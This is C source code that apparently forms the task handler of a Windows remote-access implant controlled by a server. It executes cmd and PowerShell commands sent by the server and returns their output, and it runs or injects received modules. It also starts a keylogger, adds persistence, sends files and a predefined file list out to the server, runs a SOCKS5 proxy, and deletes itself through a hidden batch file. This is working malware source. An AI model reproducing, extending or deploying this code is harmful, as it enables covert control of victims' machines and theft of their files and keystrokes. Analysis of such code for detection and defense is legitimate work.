#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include "config.h"

size_t STANDARD_BUFF = 1024;
size_t BIG_BUFF = 8192;

// Temporarily holds task id after parsing task message
char* current_task_id = NULL;

// Prototypes
DWORD WINAPI StartKeylogger(void);
DWORD WINAPI StartKeylogTimer(LPVOID lpParam);
void CollectSystemInfo(char *os_version, char *architecture, char *hostname, char *username, char *localIP, char* procname, unsigned long* pid);
void HandleDirectoryCommand(char result[], char* command, char* args);
void SendFiles(Transport* transport, char* customFilepaths[], size_t customNumFiles);
void UploadFile(char* result, Transport* transport, char* remote_path);
void ReceiveModule(char* result, Transport* transport, char* taskType, char* taskArgs, unsigned char* http_buffer);
int GetProcessList(char* buffer, size_t bufferSize);

// Report result of task execution to server
void SendTaskResult(Transport* transport, char* task_type, char* result) {
    LOG("Trying to send task result\n");

    char* actual_task_type = task_type;
    char default_type[] = "TASKRESULT";

    if (strcmp(task_type, "") == 0) {
        actual_task_type = default_type;
    }

    size_t task_len = strlen(actual_task_type);
    size_t agentID_len = strlen(agent_id);
    size_t result_len = strlen(result);

    size_t taskID_len;
    if (current_task_id != NULL) {
        taskID_len = strlen(current_task_id);
    } else {
        current_task_id = "0";
        taskID_len = 1;
    }

    // LOG("Result: %s\n", result);

    // +4 for three '~' and null terminator
    size_t buffer_size = agentID_len + task_len + taskID_len + result_len + 4;

    char* message = (char*)malloc(buffer_size);
    if (message == NULL) {
        LOG("Memory allocation failed\n");
        return;
    }

    snprintf(message, buffer_size, "%s~%s~%s~%s", agent_id, actual_task_type, current_task_id, result);

    LOG("Sending task result (length: %zu): %s\n", strlen(message), message);

    if (transport->send(transport->handle, message, strlen(message)) <= 0) {
        LOG_ERROR("Error sending task result.\n");
    }

    // Clean up
    memset(message, 0, buffer_size);
    free(message);

    // Clear taskID
    current_task_id = NULL;
}

void ChangeSleepTime(char* result, size_t result_size, char* sleep_time_str) {
    int new_delay = atoi(sleep_time_str);
    reconnect_delay = new_delay * 1000;
    snprintf(result, result_size, "Sleep time updated to %d seconds\n", new_delay);
}

void ExecuteShell(char* result, char* command, char* type) {
    char full_command[STANDARD_BUFF];
    if (strcmp(type, "cmd") == 0) {
        snprintf(full_command, sizeof(full_command), "%s 2>&1", command);
    } else if (strcmp(type, "ps") == 0) {
        snprintf(full_command, sizeof(full_command), "powershell -Command \"%s\" 2>&1", command);
    } else {
        strncpy(result, "Invalid command type", STANDARD_BUFF - 1);
        result[STANDARD_BUFF - 1] = '\0';
        return;
    }

    FILE* pipe = _popen(full_command, "r");
    if (!pipe) {
        strncpy(result, "Failed to execute command", STANDARD_BUFF - 1);
        result[STANDARD_BUFF - 1] = '\0';
        return;
    }

    char buffer[512];
    size_t current_size = 0;
    
    // Clear the result buffer
    result[0] = '\0';

    while (fgets(buffer, sizeof(buffer), pipe) && current_size < STANDARD_BUFF - 1) {
        size_t chunk_size = strlen(buffer);
        
        // Check if we have enough space left in the result buffer
        if (current_size + chunk_size >= STANDARD_BUFF) {
            chunk_size = STANDARD_BUFF - current_size - 1;
        }
        
        // Copy the chunk into the result buffer
        memcpy(result + current_size, buffer, chunk_size);
        current_size += chunk_size;
        result[current_size] = '\0';
    }
    _pclose(pipe);

    if (current_size == 0) {
        strncpy(result, "Command executed but no output", STANDARD_BUFF - 1);
        result[STANDARD_BUFF - 1] = '\0';
    }
}

void SendSysInfo(char* result) {
    char os_version[128] = {0};
    char architecture[128] = {0};
    char hostname[128] = {0};
    char username[128] = {0};
    char localIP[128] = {0};
    char procname[128] = {0};
    unsigned long pid = 0;

    CollectSystemInfo(os_version, architecture, hostname, username, localIP, procname, &pid);
    // LOG("PID: %lu\n", pid);

    char system_Info[STANDARD_BUFF];
    snprintf(system_Info, sizeof(system_Info), "%s|%s|%s|%s|%s|%s|%lu", os_version, architecture, hostname, username, localIP, procname, pid);
    
    // LOG("Sysinfo string: %s\n", system_Info);

    strcpy(result, system_Info);
    // LOG("Result: %s", result);

    // transport->send(transport->handle, system_Info, strlen(system_Info));
    // LOG("System info sent to the server\n");
    // ReceiveResponse(transport);
}

#if ENABLE_KEYLOGGER
    void InitKeylogger(char* result) {
        LOG("\n[KEYLOGGER] Starting keylogger...\n");
        hKeylogThread = CreateThread(0, 0, StartKeylogger, 0, 0, 0);
        if (hKeylogThread == NULL) {
            LOG("\n[KEYLOGGER] Failed to create initialization thread.\n");
        }
        hKeylogTimerThread = CreateThread(0, 0, StartKeylogTimer, 0, 0, 0);
        if (hKeylogTimerThread == NULL) {
            LOG("\n[KEYLOGGER] Failed to create keylog timer thread.\n");
        }
        sprintf(result, "Keylogger initialized!\n");
    }
#endif

#if CLEANUP_METHOD
    void Cleanup(char* result) {
        #if ENABLE_PERSISTENCE
        RemovePersistence(result);
        #endif
        char filename[MAX_PATH];
        char batfile[MAX_PATH];
        GetModuleFileName(NULL, filename, MAX_PATH);
        GetTempPath(MAX_PATH, batfile);
        strcat(batfile, "cleanup.bat");

        FILE* fp = fopen(batfile, "w");
        if (fp) {
            fprintf(fp, "@echo off\n");
            fprintf(fp, "timeout /t 1 /nobreak > nul\n");
            fprintf(fp, "del \"%s\"\n", filename);
            fprintf(fp, "del \"%s\"\n", batfile);
            fclose(fp);
            LOG("Cleaning up...\n");
            ShellExecute(NULL, "open", batfile, NULL, NULL, SW_HIDE);
        }
        // exit(0);
    }
#else
    void Cleanup(char* result) {
        #if ENABLE_PERSISTENCE
            RemovePersistence(result);
        #endif
        char exePath[MAX_PATH];
        char cmd[MAX_PATH + 50];
        if (GetModuleFileName(NULL, exePath, MAX_PATH) == 0) {
            LOG("Failed to get executable path.\n");
            return;
        }
        snprintf(cmd, sizeof(cmd), "cmd /c ping 8.8.8.8 -n 3 > nul && del \"%s\"", exePath);
        STARTUPINFO si = { sizeof(si) };
        PROCESS_INFORMATION pi;
        if (CreateProcess(NULL, cmd, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) {
            CloseHandle(pi.hProcess);
            CloseHandle(pi.hThread);
        }
        // ExitProcess(0);
    }
#endif

// Differentiate between tasks
void HandleTask(Transport* transport, char* taskID, char* task_type, char* task_args, unsigned char* http_buffer) {
    char result[STANDARD_BUFF];
    current_task_id = taskID;

    if (strcmp(task_type, "sleep") == 0) {
        ChangeSleepTime(result, sizeof(result), task_args);
        SendTaskResult(transport, "", result);
    }
    else if (strcmp(task_type, "cmd") == 0) {
        ExecuteShell(result, task_args, "cmd");
        SendTaskResult(transport, "", result);
    }
    else if (strcmp(task_type, "powershell") == 0) {
        ExecuteShell(result, task_args, "ps");
        SendTaskResult(transport, "", result);
    }
    else if (strcmp(task_type, "runexe") == 0 || strcmp(task_type, "rundll") == 0) {
        ReceiveModule(result, transport, task_type, task_args, http_buffer);
        SendTaskResult(transport, "", result);
    }
    else if (strcmp(task_type, "inject") == 0 || strcmp(task_type, "spawn") == 0) {
        ReceiveModule(result, transport, task_type, task_args, http_buffer);
        SendTaskResult(transport, "", result);
    }
    else if (strcmp(task_type, "sysinfo") == 0) {
        SendSysInfo(result);
        SendTaskResult(transport, "SYSINFO", result);
    }
    else if (strcmp(task_type, "cd") == 0) {
        HandleDirectoryCommand(result, "cd", task_args);
        SendTaskResult(transport, "", result);
    }
    else if (strcmp(task_type, "pwd") == 0) {
        HandleDirectoryCommand(result, "pwd", task_args);
        SendTaskResult(transport, "", result);
    }
    else if (strcmp(task_type, "ls") == 0 || strcmp(task_type, "dir") == 0) {
        HandleDirectoryCommand(result, task_type, task_args);
        SendTaskResult(transport, "", result);
    }

    else if (strcmp(task_type, "ps") == 0) {
        LOG("Server requested process list\n");
        char ps_result[BIG_BUFF];

        GetProcessList(ps_result, BIG_BUFF);
        SendTaskResult(transport, "PROCESS", ps_result);
        memset(ps_result, 0, BIG_BUFF);
    }

    else if (strcmp(task_type, "keylogger") == 0) {
        #if ENABLE_KEYLOGGER
            if (strncmp(task_args, "start", 5) == 0) {
                InitKeylogger(result);
                SendTaskResult(transport, "", result);
            } 
            else if (strncmp(task_args, "stop", 4) == 0) {
                StopKeylogger(result);
                SendTaskResult(transport, "", result);
            }
        #else
            SendTaskResult(transport, "", "Keylogger module wasn't included\n");
        #endif
    }

    else if (strcmp(task_type, "persistence") == 0) {
        #if ENABLE_PERSISTENCE
            if (strncmp(task_args, "add", 3) == 0) {
                CheckPersistence(result);
                SendTaskResult(transport, "", result);
            } else if (strncmp(task_args, "remove", 6) == 0) {
                RemovePersistence(result);
                SendTaskResult(transport, "", result);
            }
        #else
            SendTaskResult(transport, "", "Persistence module wasn't included\n");
        #endif
    }
    // Upload files to server
    else if (strcmp(task_type, "download") == 0) {
        #if USE_HTTP
            SendFilesHTTP(transport, &task_args, 1);
        #else
            SendFiles(transport, &task_args, 1);
        #endif
    }
    // Download file from server
    else if (strcmp(task_type, "upload") == 0) {
        ReceiveFile(result, transport, task_args);
        SendTaskResult(transport, "", result);
    }
    // Upload list of pre-defined files to server
    else if (strcmp(task_type, "files") == 0) {
        #if USE_HTTP
            SendFilesHTTP(transport, NULL, 0);
        #else
            SendFiles(transport, NULL, 0);
        #endif
    }

    else if (strcmp(task_type, "proxy") == 0) {
        #if ENABLE_PROXY
            if (strcmp(task_args, "start") == 0) {
                LOG("Trying to start proxy suit\n");

                InitSocks5_Server(result, 30889);
                StartProxyAgent(result + strlen(result), GetNextDomain(), 30889, "127.0.0.1", 30889);
                SendTaskResult(transport, "", result);
            }
            else if (strncmp(task_args, "stop", 6) == 0) {
                LOG("Trying to stop proxy\n");

                StopSocks5_Server(result);
                StopProxyAgent(result + strlen(result));
                SendTaskResult(transport, "", result);
            }
        #else
            SendTaskResult(transport, "", "Proxy module wasn't included\n");
        #endif
    }

    else if (strcmp(task_type, "kill") == 0) {
        SendTaskResult(transport, "", "Why you did this to me...");
        exit(0);
    }
    else if (strcmp(task_type, "cleanup") == 0) {
        Cleanup(result);
        SendTaskResult(transport, "", "Cleaned up. Bye bye!");
        exit(0);
    }
    else {
        LOG("Unknown command: %s\n", task_type);
        SendTaskResult(transport, "", "Unknown command type\n");
    }

    memset(result, 0, STANDARD_BUFF);
}